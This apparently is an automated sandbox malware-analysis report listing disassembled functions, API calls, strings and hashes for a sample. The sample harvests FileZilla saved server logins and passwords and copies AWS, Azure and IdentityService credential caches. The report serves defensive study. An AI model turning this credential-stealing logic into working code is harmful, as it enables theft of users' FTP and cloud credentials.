Opcode ID: dba60c8cc32da509acca8098f209e7a6a118f56c6904eb024319afed72db4119
Instruction ID: 49b857a09ab8d807a52c77ccfca60696f06fa612c5f6cb28a8a1ab0106bfac32
Opcode Fuzzy Hash: dba60c8cc32da509acca8098f209e7a6a118f56c6904eb024319afed72db4119
Instruction Fuzzy Hash: EA512B77D1DADA89C7029B6944102EEBFB21FEB214F1E82ADC4981B343C7759205C3E6

Function 6C8BB5C0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa89f657aff6296ecb1601ee23405aced359b6e8af49850df061194d60f6f807
Instruction ID: 4d4380f719737e920eca18c290049424b63e8615d1407fedd07d3ef3da97591e
Opcode Fuzzy Hash: fa89f657aff6296ecb1601ee23405aced359b6e8af49850df061194d60f6f807
Instruction Fuzzy Hash: E5D0C9716097114FC3688F1EB440946FAE8DBD8320715C53FA09AC3750C6B094418B54

Function 00419AA0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 004103B0 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

strtok_s.MSVCRT ref: 0041047B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBF,00420DBE,00420DBB,00420DBA), ref: 004104C2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 004104C9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004104E5
lstrlenA.KERNEL32(00000000), ref: 004104F3

Part of subcall function 00418A70: malloc.MSVCRT ref: 00418A78
Part of subcall function 00418A70: strncpy.MSVCRT ref: 00418A93

StrStrA.SHLWAPI(00000000,<Port>), ref: 0041052F
lstrlenA.KERNEL32(00000000), ref: 0041053D
StrStrA.SHLWAPI(00000000,<User>), ref: 00410579
lstrlenA.KERNEL32(00000000), ref: 00410587
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004105C3
lstrlenA.KERNEL32(00000000), ref: 004105D5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 00410662
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041067A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410692
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 004106AA
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 004106C2
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 004106D1
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 004106E0
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004106F3
lstrcatA.KERNEL32(?,00421770,?,?,00000000), ref: 00410702
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410715
lstrcatA.KERNEL32(?,00421774,?,?,00000000), ref: 00410724
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 00410733
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410746
lstrcatA.KERNEL32(?,00421780,?,?,00000000), ref: 00410755
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00410764
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410777
lstrcatA.KERNEL32(?,00421790,?,?,00000000), ref: 00410786
lstrcatA.KERNEL32(?,00421794,?,?,00000000), ref: 00410795
strtok_s.MSVCRT ref: 004107D9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 004107EE
memset.MSVCRT ref: 0041083D

Strings

<Host>, xrefs: 004104DC
login: , xrefs: 0041072A
<User>, xrefs: 00410570
profile: null, xrefs: 004106C8
password: , xrefs: 0041075B
browser: FileZilla, xrefs: 004106B9
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00410404
url: , xrefs: 004106D7
<Pass encoding="base64">, xrefs: 004105BA
<Port>, xrefs: 00410526

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-555421843
Opcode ID: b95f4feb5571403ecaa2ffc58b771ce580a0647f770413977d345947a25d7e8d
Instruction ID: 8daa67574ba642934e37c5269d194fb48a2cec37eebf9d0dac7d381e96a5dd97
Opcode Fuzzy Hash: b95f4feb5571403ecaa2ffc58b771ce580a0647f770413977d345947a25d7e8d
Instruction Fuzzy Hash: 65D17271E01108ABCB04EBF0ED56EEE7339AF54315F50855AF102B7095EF38AA94CB69

Function 6C8E0610 Relevance: 45.8, APIs: 17, Strings: 9, Instructions: 321libraryloaderstringCOMMON

Download Yara Rule

APIs

WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000), ref: 6C8E0650
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 6C8E0664
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 6C8E0696
GetProcAddress.KERNEL32(SymSetOptions), ref: 6C8E06C5
GetProcAddress.KERNEL32(SymInitializeW), ref: 6C8E06F5
GetCurrentProcess.KERNEL32 ref: 6C8E0714
GetProcAddress.KERNEL32(SymGetSearchPathW), ref: 6C8E0798
GetCurrentProcess.KERNEL32 ref: 6C8E07AD
lstrlenW.KERNEL32(00000002), ref: 6C8E07C2
GetCurrentProcessId.KERNEL32 ref: 6C8E07F0
CreateMutexA.KERNEL32(00000000,00000000,?), ref: 6C8E086C
CloseHandle.KERNEL32(00000000), ref: 6C8E088B
GetProcAddress.KERNEL32(EnumerateLoadedModulesW64), ref: 6C8E0939
GetCurrentProcess.KERNEL32 ref: 6C8E094E
GetProcAddress.KERNEL32(SymSetSearchPathW), ref: 6C8E09AD
GetCurrentProcess.KERNEL32 ref: 6C8E09BE

Strings

SymSetOptions, xrefs: 6C8E06BA
SymGetOptions, xrefs: 6C8E0690
EnumerateLoadedModulesW64, xrefs: 6C8E092E
Local\RustBacktraceMutex00000000, xrefs: 6C8E07E2
assertion failed: len >= 0, xrefs: 6C8E0A36
SymInitializeW, xrefs: 6C8E06EA
dbghelp.dll, xrefs: 6C8E065F
SymGetSearchPathW, xrefs: 6C8E078D
SymSetSearchPathW, xrefs: 6C8E09A2

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: AddressProc$CurrentProcess$CloseCreateHandleLibraryLoadMutexObjectSingleWaitlstrlen
String ID: EnumerateLoadedModulesW64$Local\RustBacktraceMutex00000000$SymGetOptions$SymGetSearchPathW$SymInitializeW$SymSetOptions$SymSetSearchPathW$assertion failed: len >= 0$dbghelp.dll
API String ID: 1912552845-356128008
Opcode ID: 363865f34047cb3229aadd2653fc18978a1e644a1795c1d893664a02edae1593
Instruction ID: 0fe92b39e7462e619a43aa17522ebd1c7b08c24088700784b59675bda0555470
Opcode Fuzzy Hash: 363865f34047cb3229aadd2653fc18978a1e644a1795c1d893664a02edae1593
Instruction Fuzzy Hash: ECC1D570F052989FEF20DFA4CA44B9E7BB4AB4B758F244929E814BB781DB709844DB50

Function 00414FC0 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 119stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00414FD7

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000), ref: 00415000
lstrcatA.KERNEL32(?,\.azure\), ref: 0041501D

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

memset.MSVCRT ref: 00415063
lstrcatA.KERNEL32(?,00000000), ref: 0041508C
lstrcatA.KERNEL32(?,\.aws\), ref: 004150A9

Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
Part of subcall function 00414B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
Part of subcall function 00414B60: FindClose.KERNEL32(000000FF), ref: 00414DE2

memset.MSVCRT ref: 004150EF
lstrcatA.KERNEL32(?,00000000), ref: 00415118
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00415135

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C00
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,004208D3), ref: 00414C15
Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C32
Part of subcall function 00414B60: PathMatchSpecA.SHLWAPI(?,?), ref: 00414C6E
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,02CC7180,?,000003E8), ref: 00414C9A
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,00420FE0), ref: 00414CAC
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,?), ref: 00414CC0
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,00420FE4), ref: 00414CD2
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,?), ref: 00414CE6
Part of subcall function 00414B60: CopyFileA.KERNEL32(?,?,00000001), ref: 00414CFC
Part of subcall function 00414B60: DeleteFileA.KERNEL32(?), ref: 00414D81

memset.MSVCRT ref: 0041517B

Strings

Azure\.azure, xrefs: 00415023
\.azure\, xrefs: 00415011
msal.cache, xrefs: 00415140
\.IdentityService\, xrefs: 00415129
*.*, xrefs: 00415028
*.*, xrefs: 004150B4
Azure\.aws, xrefs: 004150AF
Azure\.IdentityService, xrefs: 0041513B
\.aws\, xrefs: 0041509D

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4017274736-974132213
Opcode ID: fc32070a639f7c744227d222c5d1d3bd734997a12862007a64f9586edb0dccde
Instruction ID: 39229561bcf9e6d20be1630849a4938ad9d2aa6361ec20f439e2b4dca26d7b75
Opcode Fuzzy Hash: fc32070a639f7c744227d222c5d1d3bd734997a12862007a64f9586edb0dccde
Instruction Fuzzy Hash: 3F41D6B5E4021867DB10F770EC4BFDD33385B60705F40485AB649660D2FEB8A7D88B9A

Function 0040CFF0 Relevance: 31.9, APIs: 21, Instructions: 374stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,02CC1280,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D083
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040D1C7
HeapAlloc.KERNEL32(00000000), ref: 0040D1CE
lstrcatA.KERNEL32(?,00000000,02CBEBE0,0042156C,02CBEBE0,00421568,00000000), ref: 0040D308
lstrcatA.KERNEL32(?,00421570), ref: 0040D317
lstrcatA.KERNEL32(?,00000000), ref: 0040D32A
lstrcatA.KERNEL32(?,00421574), ref: 0040D339
lstrcatA.KERNEL32(?,00000000), ref: 0040D34C
lstrcatA.KERNEL32(?,00421578), ref: 0040D35B
lstrcatA.KERNEL32(?,00000000), ref: 0040D36E
lstrcatA.KERNEL32(?,0042157C), ref: 0040D37D
lstrcatA.KERNEL32(?,00000000), ref: 0040D390
lstrcatA.KERNEL32(?,00421580), ref: 0040D39F
lstrcatA.KERNEL32(?,00000000), ref: 0040D3B2
lstrcatA.KERNEL32(?,00421584), ref: 0040D3C1
lstrcatA.KERNEL32(?,00000000), ref: 0040D3D4
lstrcatA.KERNEL32(?,00421588), ref: 0040D3E3

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,02CBEB50,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

lstrlenA.KERNEL32(?), ref: 0040D42A
lstrlenA.KERNEL32(?), ref: 0040D439
memset.MSVCRT ref: 0040D488

Part of subcall function 0041AD80: StrCmpCA.SHLWAPI(00000000,00421568,0040D2A2,00421568,00000000), ref: 0041AD9F

DeleteFileA.KERNEL32(00000000), ref: 0040D4B4

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocCopyDeleteProcessSystemTimememset
String ID:
API String ID: 2775534915-0
Opcode ID: 35fedd2b9296ef60e5301991e76848098ada1adc0417fc27961a00cc535ec500
Instruction ID: 090733d9ad632ec07999f14fc915118f0ed2ae89bdc12e1fab3d18f5c5045e08
Opcode Fuzzy Hash: 35fedd2b9296ef60e5301991e76848098ada1adc0417fc27961a00cc535ec500
Instruction Fuzzy Hash: 35E17571E15114ABCB04EBA1ED56EEE7339AF14305F10415EF106760A1EF38BB98CB6A

Function 61E100D7 Relevance: 27.3, APIs: 11, Strings: 7, Instructions: 280COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E100FC
memcmp.MSVCRT ref: 61E10131
memcmp.MSVCRT ref: 61E10580

Strings

ance, xrefs: 61E103AD
ous, xrefs: 61E10618
ate, xrefs: 61E105D5
ive, xrefs: 61E1063A
iti, xrefs: 61E105FC
ize, xrefs: 61E1065C
ence, xrefs: 61E103D4

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: 5306eb8679e29c7ccae58c152c61b3cb2e43ab0ad82d1b8259ffa351aff7fd54
Instruction ID: a6745917a23cee73da34d97950539bfd860ce037a133a9b2c34405b562b65f13
Opcode Fuzzy Hash: 5306eb8679e29c7ccae58c152c61b3cb2e43ab0ad82d1b8259ffa351aff7fd54
Instruction Fuzzy Hash: 90C127B0E083068BDB00DF94C58669EBBF4AF85348F31C81ED890DB754D779D5A68B92

Function 0040CA90 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,02CC50C0,00000000,?,00421544,00000000,?,?), ref: 0040CB6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040CB89
GetFileSize.KERNEL32(00000000,00000000), ref: 0040CB95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040CBA8
??_U@YAPAXI@Z.MSVCRT(-00000001), ref: 0040CBB5
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040CBD9
StrStrA.SHLWAPI(?,02CC5108,00420B56), ref: 0040CBF7
StrStrA.SHLWAPI(00000000,02CC5120), ref: 0040CC1E
StrStrA.SHLWAPI(?,02CC6018,00000000,?,00421550,00000000,?,00000000,00000000,?,02CBEBD0,00000000,?,0042154C,00000000,?), ref: 0040CDA2
StrStrA.SHLWAPI(00000000,02CC5F58), ref: 0040CDB9

Part of subcall function 0040C920: memset.MSVCRT ref: 0040C953
Part of subcall function 0040C920: lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,02CBEC40), ref: 0040C971
Part of subcall function 0040C920: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C97C
Part of subcall function 0040C920: memcpy.MSVCRT(?,?,?), ref: 0040CA12

StrStrA.SHLWAPI(?,02CC5F58,00000000,?,00421554,00000000,?,00000000,02CBEC40), ref: 0040CE5A
StrStrA.SHLWAPI(00000000,02CBED30), ref: 0040CE71

Part of subcall function 0040C920: lstrcatA.KERNEL32(?,00420B47), ref: 0040CA43
Part of subcall function 0040C920: lstrcatA.KERNEL32(?,00420B4B), ref: 0040CA57
Part of subcall function 0040C920: lstrcatA.KERNEL32(?,00420B4E), ref: 0040CA78

lstrlenA.KERNEL32(00000000), ref: 0040CF44
CloseHandle.KERNEL32(00000000), ref: 0040CF9C

Strings

, xrefs: 0040CAC6

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringmemcpymemset
String ID:
API String ID: 1564132460-3916222277
Opcode ID: 5daa5f6d66ba1f8a50f2ce9c702c93a1a5f276b3eddcebdd6655cdaf5b281942
Instruction ID: 4fdc336044367871c69213567fe42fce90f61d04e08d5fff212e48b059342ccf
Opcode Fuzzy Hash: 5daa5f6d66ba1f8a50f2ce9c702c93a1a5f276b3eddcebdd6655cdaf5b281942
Instruction Fuzzy Hash: 2AE13E71D05108ABCB14EBA1DCA6FEEB779AF14304F00419EF10663191EF387A99CB69

Function 6C8DDA70 Relevance: 26.6, APIs: 9, Strings: 6, Instructions: 362libraryloadersynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8DA9E0: SetLastError.KERNEL32(00000000), ref: 6C8DAAA7
Part of subcall function 6C8DA9E0: GetCurrentDirectoryW.KERNEL32(00000000,00000002), ref: 6C8DAAAF
Part of subcall function 6C8DA9E0: GetLastError.KERNEL32 ref: 6C8DAABB
Part of subcall function 6C8DA9E0: GetLastError.KERNEL32 ref: 6C8DAACD

GetCurrentProcess.KERNEL32 ref: 6C8DDC12
GetCurrentThread.KERNEL32 ref: 6C8DDC1B
